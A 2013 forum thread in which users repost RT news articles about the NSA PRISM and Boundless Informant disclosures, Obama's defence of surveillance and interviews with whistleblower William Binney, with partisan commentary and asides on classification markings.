US intelligence services are “doing an assessment of the damage that is being done to US national security by the revelation of this information, which is necessarily secret because the United States needs to be able to conduct intelligence activities without those methods being revealed to the world,” US Deputy National Security Adviser Ben Rhodes said.

The investigation, which is “in early stages”, would imply close cooperation between the intelligence community and the Justice Department, Rhodes explained. A joint team of intelligence officers and government attorneys will evaluate the potential damage caused by these “very disturbing leaks of national security information.”

(http://admin.new.rt.com/files/news/1f/5a/a0/00/1.jpg)
US Deputy National Security Advisor Ben Rhodes (AFP Photo / Mandel Ngan)

Quote
This follows President Barack Obama's public justification on Friday for the NSA’s extensive spying program.  Obama declared the scheme helps to identify “folks who might engage in terrorism.”

“You can’t have 100 per cent security and also then have 100 per cent privacy and zero inconvenience,” Obama said.

Following Obama's statement, Director of National Intelligence James Clapper spoke out Saturday, calling the revelation of the previously top-secret program “reckless.” Clapper stressed that PRISM was authorized by Congress and has been strictly supervised by a secret Foreign Intelligence Surveillance Act Court to avoid the intentional targeting of American citizens.

He said that reports by The Guardian and The Washington Post failed to put the program in context, stressing that PRISM is overseen by a secret court under laws approved by the US Congress.

PRISM is “one of our most important tools for the protection of the nation’s security,” he insisted. “PRISM is not an undisclosed collection or data mining program.”

“It is an internal government computer system to facilitate the government’s statutorily authorized collection of foreign intelligence information from electronic communication service providers under court supervision,” Clapper said without specifying, however, how non-Americans should regard being targeted by PRISM or similar programs created by the US.

(http://rt.com/files/news/1f/5a/a0/00/s1.jpg)

Speaking in Palm Springs on Sunday, Deputy National Security Adviser Rhodes pointed out that Americans should understand that the US government “is not listening to anybody's phone calls” or “seeking to read people's electronic communications.” Only if PRISM detects a “nexus to terrorism” will they “pursue a warrant to try to investigate that lead, just as we would in any other intelligence or criminal procedure,” he said.

It remains unclear how the governmental accesses private data. Companies like Google and Facebook cooperating with PRISM vow that they never granted intelligence services “direct access” to their servers, though they may be making a semantic point.

Chris Soghoian, a tech expert and privacy researcher at the American Civil Liberties Union, explained to Foreign Policy that the "direct access" term “connotes a very specific form of access in the IT world: Unrestricted, unfettered access to information stored on servers.” For a system like PRISM, such access is not necessarily required. The same applies to the term “back door,” which describes a secret point of access to a system unknown to the owner.

Both Google and Facebook have not denied their participation in PRISM, saying that they provided “user data to government only in accordance with the law.”


(http://admin.new.rt.com/files/news/1f/5a/a0/00/02.jpg)
Experts man their stations at the Threat Operations Center inside the National Security Agency (NSA) in suburban Fort Mead, Maryland (AFP Photo)

Quote
The defense of PRISM by top US officials, including President Obama, strongly suggests that the surveillance program will remain in use.

The USA Patriot Act adopted by the George W. Bush administration has made global surveillance and tapping fully legal for US intelligence agencies. However, those who leaked the existence of PRISM may soon be treated similarly to US soldier Bradley Manning, accused of leaking diplomatic cables and the infamous 'Collateral Murder' video to WikiLeaks.

The prosecution for Manning's court martial are seeking life imprisonment on charges of "aiding the enemy," alleging that he intended to harm the US by leaking secrets to its enemies.

Courtesy of the Russian Times (http://rt.com/usa/nsa-prism-witch-hunt-426/)
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:27:04 pm
Boundless Informant: NSA’s complex tool for classifying global intelligence
Published time: June 09, 2013 01:50


(http://rt.com/files/news/1f/5a/70/00/picture-4.si.jpg)
Slide from a classified NSA presentation leaked by the Guardian

Quote
A new batch of classified NSA docs leaked to the media reveals the details of a comprehensive piece of software used by NSA to analyze and evaluate intelligence gathered across the globe as well as data extraction methods.

The top-secret documents released by the Guardian shed light on the National Security Agency’s data-mining tool being used for counting and categorizing metadata gathered and stored in numerous databases around the world.

Known as Boundless Informant, the software provides its operator a graphical insight on how many records were collected for a specific “organizational unit” or country, what type of data was collected and what type of collection was used. The program also allows determining trends in data collection for both strategic and tactical decision making, according to the slides.

One of the slides contains a part of the Informant’s user interface showing a world map with countries color-coded ranging from green to red depending on the amount of records collected there. While Iran, Pakistan and other some other states are predictably “hottest” according to the map, the agency collected almost 3 billion intelligence pieces in the US in March 2013 alone.

(http://admin.rt.com/files/news/1f/5a/70/00/picture-1.jpg)
The map showing how much data is being collected in different countries across the globe (image from the Guardian)

Quote
The insight on the software being used by the NSA comes amid the agency spokesperson Judith Emmel’s claims that the NSA cannot at the moment determine how many Americans may be accidentally included in its surveillance.

“Current technology simply does not permit us to positively identify all of the persons or locations associated with a given communication,” Emmel said Saturday adding that “it is harder to know the ultimate source or destination, or more particularly the identity of the person represented by the TO:, FROM: or CC: field of an e-mail address or the abstraction of an IP address.”
NSA data sources

Another slide from the internal NSA presentation redacted by the Guardian editors details the data gathering methods used in the NSA global surveillance program.

The first method suggests interception of data from “fiber cables and infrastructure as data flows past” under the FISA Amendments Act (FAA) of 2008, Section 702.

The second distinguished method is data collection “directly from the servers of the US service providers.”

(http://admin.rt.com/files/news/1f/5a/70/00/picture-2.jpg)
The slide detailing methods of data extraction under the FISA Amendment Act (image from the Guardian)

Quote
The presentation encourages analysts to use both methods for better results.
Google, Facebook negotiated ‘secure portals’ to share data with NSA?

Meanwhile, a report by the New York Times revealed that Internet giants, including Google and Facebook, have been in negotiations with the US security agency over ‘digital rooms’ for sharing the requested data. The companies still insist there is no “back door” for a direct access to user data on their servers.

The Internet companies seem more compliant with the spy agencies than they want to appear to their users, and are cooperating on “behind-the-scenes transactions” of the private information, according to a report that cites anonymous sources “briefed on the negotiations.”

According to the report, Google, Microsoft, Yahoo, Facebook, AOL, Apple and Paltalk have “opened discussions with national security officials about developing technical methods to more efficiently and securely share the personal data of foreign users in response to lawful government requests,” sometimes “changing” their computer systems for this purpose.

These methods included a creation of “separate, secure portals” online, through which the government would conveniently request and acquire data from the companies.

(http://admin.rt.com/files/news/1f/5a/70/00/picture-3.jpg)
A slide from a classified NSA presentation leaked by the Guardian

Quote
Twitter was the only major Internet company mentioned in the report that allegedly declined to facilitate the data transfer to the NSA in a described way. As opposed to a legitimate FISA request, such a move was considered as not “a legal requirement” by Twitter.

The sources claim the negotiations have been actively going in the recent months, referring to a Silicon Valley visit of the chairman of the Joint Chiefs of Staff Martin E. Dempsey. Dempsey is said to have met the executives of Facebook, Microsoft, Google and Intel to secretly discuss their collaboration on the government’s “intelligence-gathering efforts.”
NSA pressured to declassify more PRISM details

In response to the fury over US government’s counterterrorism techniques, Director of National Intelligence James Clapper for the second time in three days revealed some details of the PRISM data-scouring program.

Being one of the “most important tools for the protection of the nation's security” the PRISM is an internal government computer system for collecting “foreign intelligence information from electronic communication service providers under court supervision,” Clapper said.

He also said that PRISM seeks foreign intelligence information concerning foreign targets located outside the US and cannot intentionally target any US citizen or any person known to be in the US. As for “incidentally intercepted” information about a US resident, the dissemination of such data is prohibited unless it is “evidence of a crime”, “indicates” a serious threat, or is needed to “understand foreign intelligence or assess its importance.”

Clapper also stressed that the agency operates with a court authority and that it does not unilaterally obtain information from the servers of US telecoms and Internet giants without their knowledge and a FISA Court judge approval.

Courtesy of the Russian Times (http://rt.com/news/boundless-informant-nsa-prism-423/)
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 12:28:15 pm
So you've never played Angry Birds?
Me? No, I have never even seen it, I only know its name.
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 12:29:28 pm

Hey, I'm not easy!

But to clue you in, never come off the line saying "I doubt it". Wise thinkers never fall for that.  ;)
That was what I was thinking, so that's what I wrote. Wise or not, that was the truth at the time. :)
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 12:31:24 pm
I told them to shut it off and the CS said NO, I can't and will not.
What's a "CS"? ???
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:31:55 pm
Assange on PRISM: US justice system in ‘calamitous’ collapse
Published time: June 08, 2013 10:25


(http://rt.com/files/news/1f/59/10/00/000_dv1087367.si.jpg)
ikiLeaks founder Julian Assange (AFP Photo / Geoff Caddick)

Quote
WikiLeaks founder Julian Assange has slammed a recently exposed NSA mass-surveillance scheme as a "calamitous collapse in the rule of law." Google, Facebook and other tech giants apparently involved have denied giving the NSA access to their servers.

Assange accused the US government of trying to "launder" its activities concerning the large-scale spying program PRISM. The system was made public after a leaked classified National Security Agency (NSA) document was revealed earlier this week.

"The US administration has the phone records of everyone in the United States and is receiving them daily from carriers to the National Security Agency under secret agreements. That's what's come out," he said.

President Barack Obama earlier defended PRISM, saying it was a key part of the country’s counterterrorism efforts and that privacy was a necessary sacrifice for the sake of security. He also lashed out at the media, and those who leaked information on the massive spying program.

(http://rt.com/files/news/1f/59/10/00/000_170120656.jpg)
U.S. President Barack Obama (AFP Photo / Stephen Lam)

Quote
“If every step that we are taking to try to prevent a terrorist act is on the front page of the newspapers or any television, then presumably the people that are trying to do us harm are going to be able to get around our preventative measures,” Obama said.

Quote
Critics of the Obama Administration have accused it of an unprecedented crackdown on whistleblowers – more government officials are being prosecuted for leaks under Obama than all previous administrations combined. News of PRISM comes just after reports that the Justice Department secretly obtained two months of AP reporters' telephone records and tapped Fox News reporter James Rosen’s private email.

"Over the last 10 years, the US justice system has suffered from a collapse, a calamitous collapse, in the rule of law,” Assange said.

The US tech giants apparently involved in PRISM have rushed to deny they participated in the program; their logos were visible on each the 41 PowerPoint slides of the leaked NSA document.

(http://rt.com/files/news/1f/59/10/00/2.jpg)

Quote
“Indeed, the US government does not have direct access or a 'back door' to the information stored in our data centers. We had not heard of a program called PRISM until yesterday,” Google CEO Larry Page and Chief Legal Officer David Drummond said in a statement.

Google's remarks mirrored those by Apple, Facebook, Microsoft, Yahoo. All have claimed they have no knowledge of whether the NSA had direct access to their servers, and that only upon legal orders do they provide the government with data on specific persons.

While activists debate the legality and ethics of online espionage and high-tech firms try to distance themselves from the revelations, a former NSA official believes PRISM is largely ineffective, as the amount of data it collects cannot be effectively digested by a surveillance system.

“In fact it adds more of a problem because what that means, quite simply, is that if you go into a larger database, you get more data back no matter what the query is. It’s like making a query with Google. If you go in with a Google query you can get tens of thousands, or hundreds of thousands or even a million returns. Well, there’s no way you can go through that, all of that, to see what you’re really interested in. So what that does is make them less proficient at doing their jobs,” former NSA analyst William Binney told RT.

Courtesy of the Russian Times (http://rt.com/news/assange-nsa-surveillance-program-401/)
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 12:36:43 pm
I guess it depends on the definition of "unreasonable", so they just changed what was considered unreasonable.

I don't think this will have any real effect. :(

YES IT DOES HAVE A REAL AND LASTING EFFECT!

This crap represents direct violations of what is in our Constitution and in our Bill of Rights. These are foundational documents for this country, and they do not change every time someone has a different idea about how they think it should be. All elected officials are in office to "uphold the Constitution", and that doesn't allow government to take actions that violate it and impinge upon the rights of we the people.

For any requirement that needs direct attention, that attention must be executed in such a way as to not conflict with Constitutional law, irregardless of difficulty for accomplishing it right, and regardless of how easy it might be to do it while violating Constitutional law. DUMB IS AS DUMB DOES - if the law is violated, then such action should be swiftly and severely dealt with, at the highest levels.

If we the people accept any responsible actions less than that, then we can kiss this country bye bye. Obama is the POTUS, and he should be held responsible for all infractions of the Constitution by his governing. With all that has occurred during his presidency, and all that is continuing to be brought into the "daylight", there should be more than reasonable grounds for impeachment. At the same time, grounds should be established for the declaration of Joe Biden as being "unfit to serve as President", as it is so obvious that he is unfit.

We need to get people out of governing that are not voted in by the people. Everyone in governing positions should answer directly to the people!  Lower level hired workers are ok. But, only the governing (voted in) positions would/should be held directly responsible for all actions.

There also should be a law established that in essence says, "Security Classification of Any Type of Data, Project. Process, and et al, Has No Foundation If Any Such is Deemed To Be In Violation of The Constitution and/Or Existing Laws". In short, let's make it a Federal offense to even classify (make "secret) and thing, just because it violates/might violate existing law!!!

uuhmmmm - my opinion of course!  :o
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:37:48 pm
NSA whistleblower: ‘Mass surveillance makes intelligence community less efficient’
Published time: June 08, 2013 01:46


 
Quote
While the intelligence community has succeeded in duping the US administration into allowing mass surveillance, it did not help improve national security at all, former NSA analyst William Binney told RT.

William Binney, who worked for the NSA for over 30 years as a cryptanalyst-mathematician but resigned in 2001 as a whistleblower, explained why the notion that mass surveillance is necessary in order to combat terrorism is false.

RT: You have first hand knowledge on how the NSA works, is this just the tip of the iceberg?

William Binney: Well, in terms of the number of companies in the amount of data, yes that’s pretty much the case. It’s a direct violation of the constitution, that’s why I left the NSA in 2001. They started to do this, and that’s why I left. I could not stay there and be a party to the violation of my constitution, plus it was in violation of any number of laws at the time.

RT: President Obama has said that the invasion of privacy is done in the name of security, is he right about that? Does mass surveillance help security?

WB: No, it doesn’t. In fact it adds more of a problem because what that means, quite simply, is that if you go into a larger database, you get more data back no matter what the query is. It’s like making a query with Google. If you go in with a Google query you can get tens of thousands, or hundreds of thousands or even a million returns. Well, there’s no way you can go through that, all of that, to see what you’re really interested in. So what that does is make them less proficient at doing their jobs.

RT: And what about the cost of this to the taxpayer?

WB: Well all of that is being borne by the taxpayer. We had proposed to them a number of years ago, about 2004, that we design a system and build it for them for about $250 thousand, where it would select only the relevant data that they wanted to look at, out of the entire worldwide system. And we did it based on a simple two-degree principle - that is, if you had a terrorist calling somebody in the United States that was one degree, and that person in the US calling others in the US was the second degree. So, in other words what you would’ve been looking at was being able to find the cells inside the country, as well as being able to monitor terrorists worldwide. You would get it all, the rest of it was just extra information.

RT:  Do you think that the impact of 9-11 and the war on terror is so great that Americans are content to allow security to trample over anything else, even personal privacy?

WB: I think, initially, it began that way. People were trusting their government, I think that’s basically the case. Congress and the administration at the time was being bamboozled by the intelligence community, saying that you have to collect all this data to find the bad guys, and if we don’t do that you won’t be able to achieve that, which is absolutely false.

RT: Now there have been ongoing controversies surrounding the US spying on its citizens, is anything likely to make the government rein in its security services now?

WB: It’s going to be very difficult, because they have so much invested in doing what they’re doing. It costs a lot of money to do this, and their budgets have been almost tripled, I think, since 9-11, so that kind of spending is hard to waste. So what they’re really doing is saying we have to use what we have, which is the problem with power -- when you give power to an organization or to people they tend to use it. And assembling this kind of information about all the citizens in the United States, or anybody else for that matter, gives you power against them, you have leverage, and you can use that power against them. Or you can use other agencies of the US like the IRS to investigate people, and use your knowledge about people in the country to use the IRS to target them. For example, if they wanted to know who was in the Tea Party, they already have that from the telephone and email networks. The communities built from that data will tell them who’s participating in the Tea Party, the central figures, and who are not central to the Tea Party, and then from that if they are asking for tax exempt status, you can send the IRS after them to harass them. That’s what's possible, that’s what this power of knowledge does, it gives them that power to do that.

RT: In your experience with the NSA, is there a culture of surveillance which is prevailing there?

WB: No, I’m pretty sure there are a lot of people who are upset, at least from the ones who are retired. I’m getting feedback from them that they’re really upset at what NSA has been doing. And, of course, just the disclosure of the FISA warrants and this PRISM program says there are others who are working in government and in NSA who are upset by what they’re doing, otherwise they wouldn’t have been leaked.

RT: If this was practice, in both George W Bush’s administration and now apparently president Obama's, it suggests both seem to agree on this surveillance of its citizens, what does this mean for the future, where is this all going?

WB: Well, what that simply means is that we have to start electing people who are smart enough to realize when they’re being bamboozled by the intelligence community or anybody else, we can’t just take people and elect them who accept what they’re being told by departments of government. You have to have people who do real oversight, from not only the courts -- because after all, the courts, the judge that signed the orders for Verizon, he didn’t know any more than the government told him. So, he was totally dependent on what the government was telling him to justify their warrant, or their order. And that’s not acceptable.

Courtesy of the Russian Times (http://rt.com/news/nsa-whistleblower-mass-surveillance-398/)
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:43:49 pm
Obama on NSA surveillance: Can't have 100% security and 100% privacy
Published time: June 07, 2013 16:30


(http://rt.com/files/news/1f/58/10/00/9.si.jpg)
US President Barack Obama makes a statement to reporters on the Affordable Care Act at Fairmont Hotel in San Jose, California, on June 7, 2013 (AFP Photo / Jewel Samad)

Quote
The NSA’s extensive spying program is justified as it allows agents to identify “leads with respect to folks who might engage in terrorism,” claimed US President Barack Obama, adding that no one promised Americans both total security and total privacy.

Obama weighed in Friday morning on an evolving series of scandals surrounding an apparent National Security Agency program designed to allow real-time online surveillance of US citizens.

Obama was concluding remarks about his Affordable Health Care Act during an address in Northern California Friday morning when he fielded a single question about the NSA and the recently disclosed domestic spying programs.

“I think it’s important to recognize that you can’t have 100 per cent security and also then have 100 per cent privacy and zero inconvenience,” the president told the crowd while delivering several minutes of unscripted remarks about the NSA.

Earlier this week, civil liberties-focused lawyer-turned-journalist Glenn Greenwald of The Guardian published a document disclosing that the NSA orders the phone records of millions of American subscribers on a regular basis, and that American telecom firms have been compelled to provide the US government with numbers dialed, duration of call and other metadata.

One day later, The Guardian and the Washington Post nearly simultaneously disclosed a program named PRISM. According to Greenwald, PRISM allows the NSA to connect directly to data servers controlled by the biggest names on the Web, essentially providing Uncle Sam with backdoor access to the bulk of the country’s communications.

“The National Security Agency has obtained direct access to the systems of Google, Facebook, Apple and other US internet giants, according to a top secret document obtained by the Guardian,” Greenwald wrote late Thursday.

(http://admin.rt.com/files/news/1f/58/10/00/obama-4.jpg)
US President Barack Obama makes a statement to reporters on the Affordable Care Act at Fairmont Hotel in San Jose, California, on June 7, 2013 (AFP Photo / Jewel Samad)

Quote
Obama dismissed allegations that both NSA programs have been spying on Americans, instead calling them critical aspects of the country’s continuously expanding counterterrorism efforts. He also rejected the notion that the programs are as vast in scope as has been reported, at the same time shifting blame away from his administration and towards the lawmakers he said have been privy to both operations every step of the way.

“The programs,” said Obama, “are secret in the sense that they are classified, but they are not secret in the sense that when it comes to telephone calls, every member of Congress has been briefed on this program.”

“With respect to all of these programs, the relevant intelligence committees are fully briefed on these programs. These are programs that have been authorized by broad bipartisan majorities repeatedly since 2006. And so I think at the onset it is important to understand that your duly elected representatives have been consistently informed on exactly what we’re doing,” insisted Obama.

“When it comes to telephone calls, nobody is listening to your telephone calls. That’s not what this program was about. As indicated, what the intelligence community is doing is looking at phone numbers and durations of calls. They are not looking at people’s names and they are not looking at content. But, by sifting through this so-called metadata, they may identify potential leads with respect to folks who might engage in terrorism,” he said.

In regards to PRISM, Obama also downplayed reports of a widespread domestic surveillance operation.

“With respect to the Internet and emails, this does not apply to US citizens and it does not apply to people living in the United States,” he said. “And again in this instance, not only is Congress fully appraised of it, but what is also true is that the FISA [Foreign Intelligence Surveillance Act] court has to authorize it.”

Congress reauthorized FISA last year, giving federal investigators another five-year window to wiretap the communications of Americans citizens if one of the parties involved is thought to be outside of the US. Google began publishing statistics about FISA's court-penned requests for user data in recent months, but the actual scope of the government’s spying prowess has gone unreported. Last year, two members of Congress even wrote the NSA for a rough estimate of how many Americans were having their communications intercepted — a request which was refuted.

(http://rt.com/files/news/1f/58/10/00/obama-5.jpg)
US President Barack Obama makes a statement to reporters on the Affordable Care Act at Fairmont Hotel in San Jose, California, on June 7, 2013 (AFP Photo / Jewel Samad)

Quote
“What you've got is two programs that were originally authorized by Congress, had been repeatedly authorized by Congress; bipartisan majorities have approved of them – Congress is continually briefed on how they are conducted. There is a whole range of safeguards involved, and federal judges are overseeing the entire program throughout,” Obama said.

Obama also suggested that under former president George W. Bush, discussions of the programs might never have surfaced. “Five years ago, six years ago, we might not have been having this debate,” he said, calling the discourse an example of “maturity.”

That didn’t keep Obama from condoning the leaked reports, though, and he made sure to speak in that connection as well.

“I don’t welcome leaks, because there are a reason these programs are classified,” Obama said. “I think that there is a suggestion that somehow any classified program is a quote-unquote ‘secret program,’ which means it is somehow suspicious. But the fact of the matter is in our modern history, there are a whole range of programs that have been classified, because when it comes to, for example, fighting terrorism, our goal is to stop folks from doing us harm. And if every step that we are taking to try to prevent a terrorist act is on the front page of the newspapers or any television, then presumably the people that are tying to do us harm are going to be able to get around our preventative measures. That’s why these things are classified. But that’s also why we set up congressional oversight. These are the folks that you all vote for as your representatives in Congress, and they are being fully briefed on these programs.”

“In the abstract you can complain about Big Brother and how this is a potential program run amok, but when you actually look at the details then I think we’ve struck the right balance,” he said.

The White House had failed to respond directly to The Guardian and Washington Post articles before the comments in California. He is currently traveling in the state and plans to meet with the president of China there this weekend.

Obama said he would continue to take questions through the week.

Courtesy of the Russian Times (http://rt.com/usa/obama-surveillance-nsa-monitoring-385/)
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:47:47 pm
'Everyone in US under virtual surveillance' - NSA whistleblower
Published time: December 04, 2012 14:01


 
Quote
The FBI records the emails of nearly all US citizens, including members of congress, according to NSA whistleblower William Binney. In an interview with RT, he warned that the government can use this information against anyone.

Binney, one of the best mathematicians and code breakers in the history of the National Security Agency, resigned in 2001. He claimed he no longer wanted to be associated with alleged violations of the Constitution, such as how the FBI engages in widespread and pervasive surveillance through powerful devices called 'Naris.'

This year, Binney received the Callaway award, an annual prize that recognizes those who champion constitutional rights and American values at great risk to their personal or professional lives.

RT: In light of the Petraeus/Allen scandal while the public is so focused on the details of their family drama, one may argue that the real scandal in this whole story is the power, the reach of the surveillance state. I mean if we take General Allen – thousands of his personal e-mails have been sifted through private correspondence. It’s not like any of those men was planning an attack on America. Does the scandal prove the notion that there is no such thing as privacy in a surveillance state?

William Binney: Yes, that’s what I’ve been basically saying for quite some time, is that the FBI has access to the data collected, which is basically the emails of virtually everybody in the country. And the FBI has access to it. All the congressional members are on the surveillance too, no one is excluded. They are all included. So, yes, this can happen to anyone. If they become a target for whatever reason – they are targeted by the government, the government can go in, or the FBI, or other agencies of the government, they can go into their database, pull all that data collected on them over the years, and we analyze it all. So, we have to actively analyze everything they’ve done for the last 10 years at least.

RT: And it’s not just about those, who could be planning, who could be a threat to national security, but also those, who could be just…

WB: It’s everybody. The Naris device, if it takes in the entire line, so it takes in all the data. In fact they advertised they can process the lines at session rates, which means 10-gigabit lines. I forgot the name of the device (it’s not the Naris) – the other one does it at 10 gigabits. That’s why they're building Bluffdale [database facility], because they have to have more storage, because they can’t figure out what’s important, so they are just storing everything there. So, emails are going to be stored there in the future, but right now stored in different places around the country. But it is being collected – and the FBI has access to it.

RT: You mean it’s being collected in bulk without even requesting providers?

WB: Yes.

RT: Then what about Google, you know, releasing this biannual transparency report and saying that the government’s demands for personal data is at an all-time high and for all of those requesting the US, Google says they complied with the government’s demands 90 percent of the time. But they are still saying that they are making the request, it’s not like it’s all being funneled into that storage. What do you say to that?

WB: I would assume that it’s just simply another source for the same data they are already collecting. My line is in declarations in a court about the 18-T facility in San Francisco, that documented the NSA room inside that AST&T facility, where they had Naris devices to collect data off the fiber optic lines inside the United States. So, that’s kind of a powerful device, that would collect everything it was being sent. It could collect on the order over of 100 billion 1,000-character emails a day. One device.

RT: You say they sift through billions of e-mails. I wonder how do they prioritize? How do they filter it?

WB: I don’t think they are filtering it. They are just storing it. I think it’s just a matter of selecting when they want it. So, if they want to target you, they would take your attributes, go into that database and pull out all your data.

RT: Were you on the target list?

WB: Oh, sure! I believe I’ve been on it for quite a few years. So I keep telling them everything I think of them in my email. So that when they want to read it they’ll understand what I think of them.

RT: Do you think we all should leave messages for the NSA mail box?

WB: Sure!

RT: You blew the whistle on the agency when George W. Bush was the president. With President Obama in office, in your opinion, has anything changed at the agency, in the surveillance program? In what direction is this administration moving?

WB: The change is it’s getting worse. They are doing more. He is supporting the building of the Bluffdale facility, which is over two billion dollars they are spending on storage room for data. That means that they are collecting a lot more now and need more storage for it. That facility by my calculations that I submitted to the court for the Electronic Frontiers Foundation against NSA would hold on the order of 5 zettabytes of data. Just that current storage capacity is being advertised on the web that you can buy. And that’s not talking about what they have in the near future.

RT: What are they going to do with all of that? Ok, they are storing something. Why should anybody be concerned?

WB: If you ever get on the enemies list, like Petraeus did or… for whatever reason, than you can be drained into that surveillance.

RT: Do you think they would… General Petraeus, who was idolized by the same administration? Or General Allen?

WB: There are certainly some questions, that have to be asked, like why would they target it to begin with? What law were they breaking?

RT: In case of General Petraeus one would argue that there could have been security breaches. Something like that. But with General Allen  – I don’t quite understand, because when they were looking into his private emails to this woman.

WB: That’s the whole point. I am not sure what the internal politics is… That’s part of the program. This government doesn’t want things in the public. It’s not a transparent government. Whatever the reason or the motivation was, I don’t really know, but I certainly think that there was something going on in the background that made them target those fellows. Otherwise why would they be doing it? There is no crime there.

RT: It seems that the public is divided between those, who think that the government surveillance program violates their civil liberties, and those who say, 'I’ve nothing to hide. So, why should I care?' What do you say to those who think that it shouldnt concern them.

WB: The problem is if they think they are not doing anything that’s wrong, they don’t get to define that. The central government does, the central government defines what is right and wrong and whether or not they target you. So, it’s not up to the individuals. Even if they think they aren't doing something wrong, if their position on something is against what the administration has, then they could easily become a target.

RT: Tell me about the most outrageous thing that you came across during your work at the NSA.

WB: The violations of the constitution and any number of laws that existed at the time. That was the part that I could not be associated with. That’s why I left. They were building social networks on who is communicating and with whom inside this country. So that the entire social network of everybody, of every US citizen was being compiled overtime. So, they are taking from one company alone roughly 320 million records a day. That’s probably accumulated probably close to 20 trillion over the years.

The original program that we put together to handle this to be able to identify terrorists anywhere in the world and alert anyone that they were in jeopardy. We would have been able to do that by encrypting everybody’s communications except those who were targets. So, in essence you would protect their identities and the information about them until you could develop probable cause, and once you showed your probable cause, then you could do a decrypt and target them. And we could do that and isolate those people all alone. It wasn’t a problem at all. There was no difficulty in that.

RT: It sounds very difficult and very complicated. Easier to take everything in and…

WB: No. It’s easier to use the graphing techniques, if you will, for the relationships for the world to filter out data, so that you don’t have to handle all that data. And it doesn’t burden you with a lot more information to look at, than you really need to solve the problem.

RT: Do you think that the agency doesn’t have the filters now?

WB: No.

RT: You have received the Callaway award for civic courage. Congratulations! On the website and in the press release it says: “It is awarded to those, who stand out for constitutional rights and American values at great risk to their personal or professional lives.” Under the code of spy ethics – I don’t know if there is such a thing – your former colleagues, they probably look upon you as a traitor. How do you look back at them?

WB: That’s pretty easy. They are violating the foundation of this entire country. Why this entire government was formed? It’s founded with the Constitution and the rights were given to the people in the country under that Constitution. They are in violation of that. And under executive order 13526, section 1.7 – you can not classify information to just cover up a crime, which this is, and that was signed by President Obama. Also President Bush signed it earlier as an executive order, a very similar one. If any of this comes into Supreme Court and they rule it unconstitutional, then the entire house of cards of the government falls.

RT: What are the chances of that? What are the odds?

WB: The government is doing the best they can to try to keep it out of court. And, of course, we are trying to do the best we can to get into court. So, we decided it deserves a ruling from the Supreme Court. Ultimately the court is supposed to protect the Constitution. All these people in the government take an oath to defend the Constitution. And they are not living up to the oath of office.         

Courtesy of the Russian Times (http://rt.com/usa/surveillance-spying-e-mail-citizens-178/)
Title: Re: they know what you are doing
Post by: petrus4 on June 10, 2013, 12:50:33 pm
(http://rt.com/files/news/1f/58/10/00/9.si.jpg)

His face is changing.  That is what immediately jumped out at me, from the two photos in this post.  He's a lot more pale than usual, he's becoming more lined, and his hair has receded more than most images of him that I've seen.  The Presidency is apparently aging him rapidly.
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:51:35 pm
So you've never played Angry Birds?

Angry Birds is a brainwashing control tool :P as is Gangdam Style :D
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:56:52 pm
This is the one that got me... the LOGOS.

We all knew here that Facebook was associated with the spooks from DAY ONE.. but now it is explained why google and Youtube are pushing so hard to get you to change your account to your real name.
AOL on that list no surprize...

Skype... I remember well the fiasco we had through them. Erased that crap long ago

Odd though I do not see ATS logo on there :P Wazzupwitdat?

But here is one thing to consider... now we all get to say...

WE TOLD YOU SO!!

Conspiracy nuts 10  Skeptics: 0

Also there is a clearance on there I am not familiar with  TS SI and NOFORN I kow  but what is ORCON

(http://rt.com/files/news/1f/59/10/00/2.jpg)

Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 01:00:34 pm
ORCON

ORCON or Orcon may refer to:

    Orcon Internet Limited, a New Zealand internet service provider
    ORCON, a U.S. intelligence code word used to mark information as "originator controlled"
    Operational Research CONsultancy (ORCON), a UK government initiative to improve ambulance response times
    Project Pigeon, later Project Orcon, a World War II project to use pigeons to control guided missiles

"pigeons to control guided missiles"  REALLY? WOW


Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 01:04:09 pm
Courtesy of the Russian Times (http://rt.com/news/hague-prism-intelligence-sharing-437/)
Not really, RT means "Russia Today". :)
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 01:10:32 pm
YES IT DOES HAVE A REAL AND LASTING EFFECT!
My comment was a response to Sky Otter's post:"if this happening has the result of cancelling the patriot act..or limiting it's scope it will be a very good thing letting folks know what their apathy has led to is not doom and gloom"

Sorry for not being clear. :)

Quote
These are foundational documents for this country, and they do not change every time someone has a different idea about how they think it should be.
The problem with the US constitution is that it lets many things open to interpretation, like the "unreasonable". One person's definition of "unreasonable" may not be the same as other person's definition, that's why, many times, things like that end up being decided by the supreme court or, in specific cases, by a court judging a case related to the interpretation.

But this is my opinion, I am not a lawyer and I am not familiar with the US judicial system. :)
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 01:11:01 pm
“In fact it adds more of a problem because what that means, quite simply, is that if you go into a larger database, you get more data back no matter what the query is. It’s like making a query with Google. If you go in with a Google query you can get tens of thousands, or hundreds of thousands or even a million returns. Well, there’s no way you can go through that, all of that, to see what you’re really interested in. So what that does is make them less proficient at doing their jobs,” former NSA analyst William Binney told RT".

It is easy to think that, but in the world of today, the super computers (Crays & etc) can do in seconds - 1000 trillion+ transactions per second -  what man could never do no matter the number of people,  and what could take years for standard computers to do. Nope, large volume searches are just simple child's play for the computers that our government uses on a daily basis.

Super computers are now measured in "peteflops" - 1 petaflop = 1000 trillion calculations per second.

So, just because there is much data associated with this subject, that would not equate to an enormous amount of people needed for the results.

JUst FYI: an over two year old news item on super computer stuff.

http://www.csmonitor.com/Innovation/Latest-News-Wires/2010/1028/Chinese-Supercomputer-How-fast-is-a-petaflop
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 01:18:02 pm
ORCON

ORCON or Orcon may refer to:

    Orcon Internet Limited, a New Zealand internet service provider
    ORCON, a U.S. intelligence code word used to mark information as "originator controlled"
    Operational Research CONsultancy (ORCON), a UK government initiative to improve ambulance response times
    Project Pigeon, later Project Orcon, a World War II project to use pigeons to control guided missiles

